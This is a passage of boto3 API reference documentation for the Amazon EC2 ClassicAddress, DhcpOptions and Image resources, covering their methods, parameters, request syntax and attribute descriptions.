IP address is already associated with a different instance, it is disassociated from that instance and associated with the specified instance. If you associate an Elastic IP address with an instance that has an existing Elastic IP address, the existing address is disassociated from the instance, but remains allocated to your account. + +[VPC in an EC2-Classic account] If you don't specify a private IP address, the Elastic IP address is associated with the primary IP address. If the Elastic IP address is already associated with a different instance or a network interface, you get an error unless you allow reassociation. You cannot associate an Elastic IP address with an instance or network interface that has an existing Elastic IP address. + +[Subnets in Wavelength Zones] You can associate an IP address from the telecommunication carrier to the instance or network interface. + +You cannot associate an Elastic IP address with an interface in a different network border group. + +Warning + +This is an idempotent operation. If you perform the operation more than once, Amazon EC2 doesn't return an error, and you may be charged for each time the Elastic IP address is remapped to the same instance. For more information, see the _Elastic IP Addresses_ section of [Amazon EC2 Pricing](https://aws.amazon.com/ec2/pricing/) . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AssociateAddress) + +**Request Syntax** + +response = classic_address.associate( + AllocationId='string', + InstanceId='string', + AllowReassociation=True|False, + DryRun=True|False, + NetworkInterfaceId='string', + PrivateIpAddress='string' +) + +Parameters + +- **AllocationId** (_string_) -- [EC2-VPC] The allocation ID. This is required for EC2-VPC. +- **InstanceId** (_string_) -- The ID of the instance. This is required for EC2-Classic. For EC2-VPC, you can specify either the instance ID or the network interface ID, but not both. The operation fails if you specify an instance ID unless exactly one network interface is attached. +- **AllowReassociation** (_boolean_) -- [EC2-VPC] For a VPC in an EC2-Classic account, specify true to allow an Elastic IP address that is already associated with an instance or network interface to be reassociated with the specified instance or network interface. Otherwise, the operation fails. In a VPC in an EC2-VPC-only account, reassociation is automatic, therefore you can specify false to ensure the operation fails if the Elastic IP address is already associated with another resource. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **NetworkInterfaceId** (_string_) -- + + [EC2-VPC] The ID of the network interface. If the instance has more than one network interface, you must specify a network interface ID. + + For EC2-VPC, you can specify either the instance ID or the network interface ID, but not both. + +- **PrivateIpAddress** (_string_) -- [EC2-VPC] The primary or secondary private IP address to associate with the Elastic IP address. If no private IP address is specified, the Elastic IP address is associated with the primary private IP address. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'AssociationId': 'string' +} + +**Response Structure** + +- _(dict) --_ + + - **AssociationId** _(string) --_ + + [EC2-VPC] The ID that represents the association of the Elastic IP address with an instance. + + +disassociate(kwargs_) + +Disassociates an Elastic IP address from the instance or network interface it's associated with. + +An Elastic IP address is for use in either the EC2-Classic platform or in a VPC. For more information, see [Elastic IP Addresses](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +This is an idempotent operation. If you perform the operation more than once, Amazon EC2 doesn't return an error. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DisassociateAddress) + +**Request Syntax** + +response = classic_address.disassociate( + AssociationId='string', + DryRun=True|False +) + +Parameters + +- **AssociationId** (_string_) -- [EC2-VPC] The association ID. Required for EC2-VPC. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_addresses()](#EC2.Client.describe_addresses "EC2.Client.describe_addresses") to update the attributes of the ClassicAddress resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +classic_address.load() + +Returns + +None + +release(kwargs_) + +Releases the specified Elastic IP address. + +[EC2-Classic, default VPC] Releasing an Elastic IP address automatically disassociates it from any instance that it's associated with. To disassociate an Elastic IP address without releasing it, use DisassociateAddress . + +[Nondefault VPC] You must use DisassociateAddress to disassociate the Elastic IP address before you can release it. Otherwise, Amazon EC2 returns an error (InvalidIPAddress.InUse ). + +After releasing an Elastic IP address, it is released to the IP address pool. Be sure to update your DNS records and any servers or devices that communicate with the address. If you attempt to release an Elastic IP address that you already released, you'll get an AuthFailure error if the address is already allocated to another AWS account. + +[EC2-VPC] After you release an Elastic IP address for use in a VPC, you might be able to recover it. For more information, see AllocateAddress . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ReleaseAddress) + +**Request Syntax** + +response = classic_address.release( + AllocationId='string', + NetworkBorderGroup='string', + DryRun=True|False +) + +Parameters + +- **AllocationId** (_string_) -- [EC2-VPC] The allocation ID. Required for EC2-VPC. +- **NetworkBorderGroup** (_string_) -- + + The set of Availability Zones, Local Zones, or Wavelength Zones from which AWS advertises IP addresses. + + If you provide an incorrect network border group, you will receive an InvalidAddress.NotFound error. For more information, see [Error Codes](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/errors-overview.html) . + + Note + + You cannot use a network border group with EC2 Classic. If you attempt this operation on EC2 classic, you will receive an InvalidParameterCombination error. For more information, see [Error Codes](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/errors-overview.html) . + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +reload() + +Calls [EC2.Client.describe_addresses()](#EC2.Client.describe_addresses "EC2.Client.describe_addresses") to update the attributes of the ClassicAddress resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +classic_address.reload() + +Returns + +None + +[DhcpOptions](#id1238) +-------------------------------------------------------------------- + +_class_ EC2.DhcpOptions(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) DhcpOptions: + +import boto3 + +ec2 = boto3.resource('ec2') +dhcp_options = ec2.DhcpOptions('id') + +Parameters + +**id** (_string_) -- The DhcpOptions's id identifier. This **must** be set. + +These are the resource's available identifiers: + +- [id](#EC2.DhcpOptions.id "EC2.DhcpOptions.id") + +These are the resource's available attributes: + +- [dhcp_configurations](#EC2.DhcpOptions.dhcp_configurations "EC2.DhcpOptions.dhcp_configurations") +- [dhcp_options_id](#EC2.DhcpOptions.dhcp_options_id "EC2.DhcpOptions.dhcp_options_id") +- [owner_id](#EC2.DhcpOptions.owner_id "EC2.DhcpOptions.owner_id") +- [tags](#EC2.DhcpOptions.tags "EC2.DhcpOptions.tags") + +These are the resource's available actions: + +- [associate_with_vpc()](#EC2.DhcpOptions.associate_with_vpc "EC2.DhcpOptions.associate_with_vpc") +- [create_tags()](#EC2.DhcpOptions.create_tags "EC2.DhcpOptions.create_tags") +- [delete()](#EC2.DhcpOptions.delete "EC2.DhcpOptions.delete") +- [get_available_subresources()](#EC2.DhcpOptions.get_available_subresources "EC2.DhcpOptions.get_available_subresources") +- [load()](#EC2.DhcpOptions.load "EC2.DhcpOptions.load") +- [reload()](#EC2.DhcpOptions.reload "EC2.DhcpOptions.reload") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The DhcpOptions's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.DhcpOptions.load "EC2.DhcpOptions.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +dhcp_configurations + +- _(list) --_ + + One or more DHCP options in the set. + + - _(dict) --_ + + Describes a DHCP configuration option. + + - **Key** _(string) --_ + + The name of a DHCP option. + + - **Values** _(list) --_ + + One or more values for the DHCP option. + + - _(dict) --_ + + Describes a value for a resource attribute that is a String. + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + + +dhcp_options_id + +- _(string) --_ + + The ID of the set of DHCP options. + + +owner_id + +- _(string) --_ + + The ID of the AWS account that owns the DHCP options set. + + +tags + +- _(list) --_ + + Any tags assigned to the DHCP options set. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +associate_with_vpc(kwargs_) + +Associates a set of DHCP options (that you've previously created) with the specified VPC, or associates no DHCP options with the VPC. + +After you associate the options with the VPC, any existing instances and all new instances that you launch in that VPC use the options. You don't need to restart or relaunch the instances. They automatically pick up the changes within a few hours, depending on how frequently the instance renews its DHCP lease. You can explicitly renew the lease using the operating system on the instance. + +For more information, see [DHCP Options Sets](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_DHCP_Options.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AssociateDhcpOptions) + +**Request Syntax** + +response = dhcp_options.associate_with_vpc( + VpcId='string', + DryRun=True|False +) + +Parameters + +- **VpcId** (_string_) -- + + **[REQUIRED]** + + The ID of the VPC. + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +tag = dhcp_options.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +list(ec2.Tag) + +Returns + +A list of Tag resources + +delete(kwargs_) + +Deletes the specified set of DHCP options. You must disassociate the set of DHCP options before you can delete it. You can disassociate the set of DHCP options by associating either a new set of options or the default set of options with the VPC. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteDhcpOptions) + +**Request Syntax** + +response = dhcp_options.delete( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_dhcp_options()](#EC2.Client.describe_dhcp_options "EC2.Client.describe_dhcp_options") to update the attributes of the DhcpOptions resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +dhcp_options.load() + +Returns + +None + +reload() + +Calls [EC2.Client.describe_dhcp_options()](#EC2.Client.describe_dhcp_options "EC2.Client.describe_dhcp_options") to update the attributes of the DhcpOptions resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +dhcp_options.reload() + +Returns + +None + +[Image](#id1239) +-------------------------------------------------------- + +_class_ EC2.Image(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) Image: + +import boto3 + +ec2 = boto3.resource('ec2') +image = ec2.Image('id') + +Parameters + +**id** (_string_) -- The Image's id identifier. This **must** be set. + +These are the resource's available identifiers: + +- [id](#EC2.Image.id "EC2.Image.id") + +These are the resource's available attributes: + +- [architecture](#EC2.Image.architecture "EC2.Image.architecture") +- [block_device_mappings](#EC2.Image.block_device_mappings "EC2.Image.block_device_mappings") +- [creation_date](#EC2.Image.creation_date "EC2.Image.creation_date") +- [description](#EC2.Image.description "EC2.Image.description") +- [ena_support](#EC2.Image.ena_support "EC2.Image.ena_support") +- [hypervisor](#EC2.Image.hypervisor "EC2.Image.hypervisor") +- [image_id](#EC2.Image.image_id "EC2.Image.image_id") +- [image_location](#EC2.Image.image_location "EC2.Image.image_location") +- [image_owner_alias](#EC2.Image.image_owner_alias "EC2.Image.image_owner_alias") +- [image_type](#EC2.Image.image_type "EC2.Image.image_type") +- [kernel_id](#EC2.Image.kernel_id "EC2.Image.kernel_id") +- [name](#EC2.Image.name "EC2.Image.name") +- [owner_id](#EC2.Image.owner_id "EC2.Image.owner_id") +- [platform](#EC2.Image.platform "EC2.Image.platform") +- [platform_details](#EC2.Image.platform_details "EC2.Image.platform_details") +- [product_codes](#EC2.Image.product_codes "EC2.Image.product_codes") +- [public](#EC2.Image.public "EC2.Image.public") +- [ramdisk_id](#EC2.Image.ramdisk_id "EC2.Image.ramdisk_id") +- [root_device_name](#EC2.Image.root_device_name "EC2.Image.root_device_name") +- [root_device_type](#EC2.Image.root_device_type "EC2.Image.root_device_type") +- [sriov_net_support](#EC2.Image.sriov_net_support "EC2.Image.sriov_net_support") +- [state](#EC2.Image.state "EC2.Image.state") +- [state_reason](#EC2.Image.state_reason "EC2.Image.state_reason") +- [tags](#EC2.Image.tags "EC2.Image.tags") +- [usage_operation](#EC2.Image.usage_operation "EC2.Image.usage_operation") +- [virtualization_type](#EC2.Image.virtualization_type "EC2.Image.virtualization_type") + +These are the resource's available actions: + +- [create_tags()](#EC2.Image.create_tags "EC2.Image.create_tags") +- [deregister()](#EC2.Image.deregister "EC2.Image.deregister") +- [describe_attribute()](#EC2.Image.describe_attribute "EC2.Image.describe_attribute") +- [get_available_subresources()](#EC2.Image.get_available_subresources "EC2.Image.get_available_subresources") +- [load()](#EC2.Image.load "EC2.Image.load") +- [modify_attribute()](#EC2.Image.modify_attribute "EC2.Image.modify_attribute") +- [reload()](#EC2.Image.reload "EC2.Image.reload") +- [reset_attribute()](#EC2.Image.reset_attribute "EC2.Image.reset_attribute") + +These are the resource's available waiters: + +- [wait_until_exists()](#EC2.Image.wait_until_exists "EC2.Image.wait_until_exists") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The Image's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.Image.load "EC2.Image.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +architecture + +- _(string) --_ + + The architecture of the image. + + +block_device_mappings + +- _(list) --_ + + Any block device mapping entries. + + - _(dict) --_ + + Describes a block device mapping. + + - **DeviceName** _(string) --_ + + The device name (for example, /dev/sdh or xvdh ). + + - **VirtualName** _(string) --_ + + The virtual device name (ephemeral N). Instance store volumes are numbered starting from 0. An instance type with 2 available instance store volumes can specify mappings for ephemeral0 and ephemeral1 . The number of available instance store volumes depends on the instance type. After you connect to the instance, you must mount the volume. + + NVMe instance store volumes are automatically enumerated and assigned a device name. Including them in your block device mapping has no effect. + + Constraints: For M3 instances, you must specify instance store volumes in the block device mapping for the instance. When you launch an M3 instance, we ignore any instance store volumes specified in the block device mapping for the AMI. + + - **Ebs** _(dict) --_ + + Parameters used to automatically set up EBS volumes when the instance is launched. + + - **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. For more information, see [Preserving Amazon EBS volumes on instance termination](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/terminating-instances.html#preserving-volumes-on-termination) in the Amazon Elastic Compute Cloud User Guide. + + - **Iops** _(integer) --_ + + The number of I/O operations per second (IOPS). For gp3 , io1 , and io2 volumes, this represents the number of IOPS that are provisioned for the volume. For gp2 volumes, this represents the baseline performance of the volume and the rate at which the volume accumulates I/O credits for bursting. + + The following are the supported values for each volume type: + + - gp3 : 3,000-16,000 IOPS + - io1 : 100-64,000 IOPS + - io2 : 100-64,000 IOPS + + For io1 and io2 volumes, we guarantee 64,000 IOPS only for [Instances built on the Nitro System](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html#ec2-nitro-instances) . Other instance families guarantee performance up to 32,000 IOPS. + + This parameter is required for io1 and io2 volumes. The default for gp3 volumes is 3,000 IOPS. This parameter is not supported for gp2 , st1 , sc1 , or standard volumes. + + - **SnapshotId** _(string) --_ + + The ID of the snapshot. + + - **VolumeSize** _(integer) --_ + + The size of the volume, in GiBs. You must specify either a snapshot ID or a volume size. If you specify a snapshot, the default is the snapshot size. You can specify a volume size that is equal to or larger than the snapshot size. + + The following are the supported volumes sizes for each volume type: + + - gp2 and gp3 :1-16,384 + - io1 and io2 : 4-16,384 + - st1 : 500-16,384 + - sc1 : 500-16,384 + - standard : 1-1,024 + - **VolumeType** _(string) --_ + + The volume type. For more information, see [Amazon EBS volume types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumeTypes.html) in the _Amazon Elastic Compute Cloud User Guide_ . If the volume type is io1 or io2 , you must specify the IOPS that the volume supports. + + - **KmsKeyId** _(string) --_ + + Identifier (key ID, key alias, ID ARN, or alias ARN) for a customer managed CMK under which the EBS volume is encrypted. + + This parameter is only supported on BlockDeviceMapping objects called by [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) , [RequestSpotFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotFleet.html) , and [RequestSpotInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotInstances.html) . + + - **Throughput** _(integer) --_ + + The throughput that the volume supports, in MiB/s. + + This parameter is valid only for gp3 volumes. + + Valid Range: Minimum value of 125. Maximum value of 1000. + + - **Encrypted** _(boolean) --_ + + Indicates whether the encryption state of an EBS volume is changed while being restored from a backing snapshot. The effect of setting the encryption state to true depends on the volume origin (new or from a snapshot), starting encryption state, ownership, and whether encryption by default is enabled. For more information, see [Amazon EBS Encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#encryption-parameters) in the _Amazon Elastic Compute Cloud User Guide_ . + + In no case can you remove encryption from an encrypted volume. + + Encrypted volumes can only be attached to instances that support Amazon EBS encryption. For more information, see [Supported instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#EBSEncryption_supported_instances) . + + This parameter is not returned by . + + - **NoDevice** _(string) --_ + + Suppresses the specified device included in the block device mapping of the AMI. + + +creation_date + +- _(string) --_ + + The date and time the image was created. + + +description + +- _(string) --_ + + The description of the AMI that was provided during image creation. + + +ena_support + +- _(boolean) --_ + + Specifies whether enhanced networking with ENA is enabled. + + +hypervisor + +- _(string) --_ + + The hypervisor type of the image. + + +image_id + +- _(string) --_ + + The ID of the AMI. + + +image_location + +- _(string) --_ + + The location of the AMI. + + +image_owner_alias + +- _(string) --_ + + The AWS account alias (for example, amazon , self ) or the AWS account ID of the AMI owner. + + +image_type + +- _(string) --_ + + The type of image. + + +kernel_id + +- _(string) --_ + + The kernel associated with the image, if any. Only applicable for machine images. + + +name + +- _(string) --_ + + The name of the AMI that was provided during image creation. + + +owner_id + +- _(string) --_ + + The AWS account ID of the image owner. + + +platform + +- _(string) --_ + + This value is set to windows for Windows AMIs; otherwise, it is blank. + + +platform_details + +- _(string) --_ + + The platform details associated with the billing code of the AMI. For more information, see [Obtaining Billing Information](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ami-billing-info.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + +product_codes + +- _(list) --_ + + Any product codes associated with the AMI. + + - _(dict) --_ + + Describes a product code. + + - **ProductCodeId** _(string) --_ + + The product code. + + - **ProductCodeType** _(string) --_ + + The type of product code. + + +public + +- _(boolean) --_ + + Indicates whether the image has public launch permissions. The value is true if this image has public launch permissions or false if it has only implicit and explicit launch permissions. + + +ramdisk_id + +- _(string) --_ + + The RAM disk associated with the image, if any. Only applicable for machine images. + + +root_device_name + +- _(string) --_ + + The device name of the root device volume (for example, /dev/sda1 ). + + +root_device_type + +- _(string) --_ + + The type of root device used by the AMI. The AMI can use an EBS volume or an instance store volume. + + +sriov_net_support + +- _(string) --_ + + Specifies whether enhanced networking with the Intel 82599 Virtual Function interface is enabled. + + +state + +- _(string) --_ + + The current state of the AMI. If the state is available , the image is successfully registered and can be used to launch an instance. + + +state_reason + +- _(dict) --_ + + The reason for the state change. + + - **Code** _(string) --_ + + The reason code for the state change. + + - **Message** _(string) --_ + + The message for the state change. + + - Server.InsufficientInstanceCapacity : There was insufficient capacity available to satisfy the launch request. + - Server.InternalError : An internal error caused the instance to terminate during launch. + - Server.ScheduledStop : The instance was stopped due to a scheduled retirement. + - Server.SpotInstanceShutdown : The instance was stopped because the number of Spot requests with a maximum price equal to or higher than the Spot price exceeded available capacity or because of an increase in the Spot price. + - Server.SpotInstanceTermination : The instance was terminated because the number of Spot requests with a maximum price equal to or higher than the Spot price exceeded available capacity or because of an increase in the Spot price. + - Client.InstanceInitiatedShutdown : The instance was shut down using the shutdown -h command from the instance. + - Client.InstanceTerminated : The instance was terminated or rebooted during AMI creation. + - Client.InternalError : A client error caused the instance to terminate during launch. + - Client.InvalidSnapshot.NotFound : The specified snapshot was not found. + - Client.UserInitiatedHibernate : Hibernation was initiated on the instance. + - Client.UserInitiatedShutdown : The instance was shut down using the Amazon EC2 API. + - Client.VolumeLimitExceeded : The limit on the number of EBS volumes or total storage was exceeded. Decrease usage or request an increase in your account limits. + +tags + +- _(list) --_ + + Any tags assigned to the image. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +usage_operation + +- _(string) --_ + + The operation of the Amazon EC2 instance and the billing code that is associated with the AMI. usageOperation corresponds to the [lineitem/Operation](https://docs.aws.amazon.com/cur/latest/userguide/Lineitem-columns.html#Lineitem-details-O-Operation) column on your AWS Cost and Usage Report and in the [AWS Price List API](https://docs.aws.amazon.com/awsaccountbilling/latest/aboutv2/price-changes.html) . For the list of UsageOperation codes, see [Platform Details and Usage Operation Billing Codes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ami-billing-info.html#billing-info) in the _Amazon Elastic Compute Cloud User Guide_ . + + +virtualization_type + +- _(string) --_ + + The type of virtualization of the AMI. + + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +tag = image.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +list(ec2.Tag) + +Returns + +A list of Tag resources + +deregister(kwargs_) + +Deregisters the specified AMI. After you deregister an AMI, it can't be used to launch new instances; however, it doesn't affect any instances that you've already launched from the AMI. You'll continue to incur usage costs for those instances until you terminate them. + +When you deregister an Amazon EBS-backed AMI, it doesn't affect the snapshot that was created for the root volume of the instance during the AMI creation process. When you deregister an instance store-backed AMI, it doesn't affect the files that you uploaded to Amazon S3 when you created the AMI. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeregisterImage) + +**Request Syntax** + +response = image.deregister( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +describe_attribute(kwargs_) + +Describes the specified attribute of the specified AMI. You can specify only one attribute at a time. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeImageAttribute) + +**Request Syntax** + +response = image.describe_attribute( + Attribute='description'|'kernel'|'ramdisk'|'launchPermission'|'productCodes'|'blockDeviceMapping'|'sriovNetSupport', + DryRun=True|False +) + +Parameters + +- **Attribute** (_string_) -- + + **[REQUIRED]** + + The AMI attribute. + + > **Note** : Depending on your account privileges, the blockDeviceMapping attribute may return a Client.AuthFailure error. If this happens, use DescribeImages to get information about the block device mapping for the AMI. + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'BlockDeviceMappings': [ + { + 'DeviceName': 'string', + 'VirtualName': 'string', + 'Ebs': { + 'DeleteOnTermination': True|False, + 'Iops': 123, + 'SnapshotId': 'string', + 'VolumeSize': 123, + 'VolumeType': 'standard'|'io1'|'io2'|'gp2'|'sc1'|'st1'|'gp3', + 'KmsKeyId': 'string', + 'Throughput': 123, + 'Encrypted': True|False + }, + 'NoDevice': 'string' + }, + ], + 'ImageId': 'string', + 'LaunchPermissions': [ + { + 'Group': 'all', + 'UserId': 'string' + }, + ], + 'ProductCodes': [ + { + 'ProductCodeId': 'string', + 'ProductCodeType': 'devpay'|'marketplace' + }, + ], + 'Description': { + 'Value': 'string' + }, + 'KernelId': { + 'Value': 'string' + }, + 'RamdiskId': { + 'Value': 'string' + }, + 'SriovNetSupport': { + 'Value': 'string' + } +} + +**Response Structure** + +- _(dict) --_ + + Describes an image attribute. + + - **BlockDeviceMappings** _(list) --_ + + The block device mapping entries. + + - _(dict) --_ + + Describes a block device mapping. + + - **DeviceName** _(string) --_ + + The device name (for example, /dev/sdh or xvdh ). + + - **VirtualName** _(string) --_ + + The virtual device name (ephemeral N). Instance store volumes are numbered starting from 0. An instance type with 2 available instance store volumes can specify mappings for ephemeral0 and ephemeral1 . The number of available instance store volumes depends on the instance type. After you connect to the instance, you must mount the volume. + + NVMe instance store volumes are automatically enumerated and assigned a device name. Including them in your block device mapping has no effect. + + Constraints: For M3 instances, you must specify instance store volumes in the block device mapping for the instance. When you launch an M3 instance, we ignore any instance store volumes specified in the block device mapping for the AMI. + + - **Ebs** _(dict) --_ + + Parameters used to automatically set up EBS volumes when the instance is launched. + + - **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. For more information, see [Preserving Amazon EBS volumes on instance termination](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/terminating-instances.html#preserving-volumes-on-termination) in the Amazon Elastic Compute Cloud User Guide. + + - **Iops** _(integer) --_ + + The number of I/O operations per second (IOPS). For gp3 , io1 , and io2 volumes, this represents the number of IOPS that are provisioned for the volume. For gp2 volumes, this represents the baseline performance of the volume and the rate at which the volume accumulates I/O credits for bursting. + + The following are the supported values for each volume type: + + - gp3 : 3,000-16,000 IOPS + - io1 : 100-64,000 IOPS + - io2 : 100-64,000 IOPS + + For io1 and io2 volumes, we guarantee 64,000 IOPS only for [Instances built on the Nitro 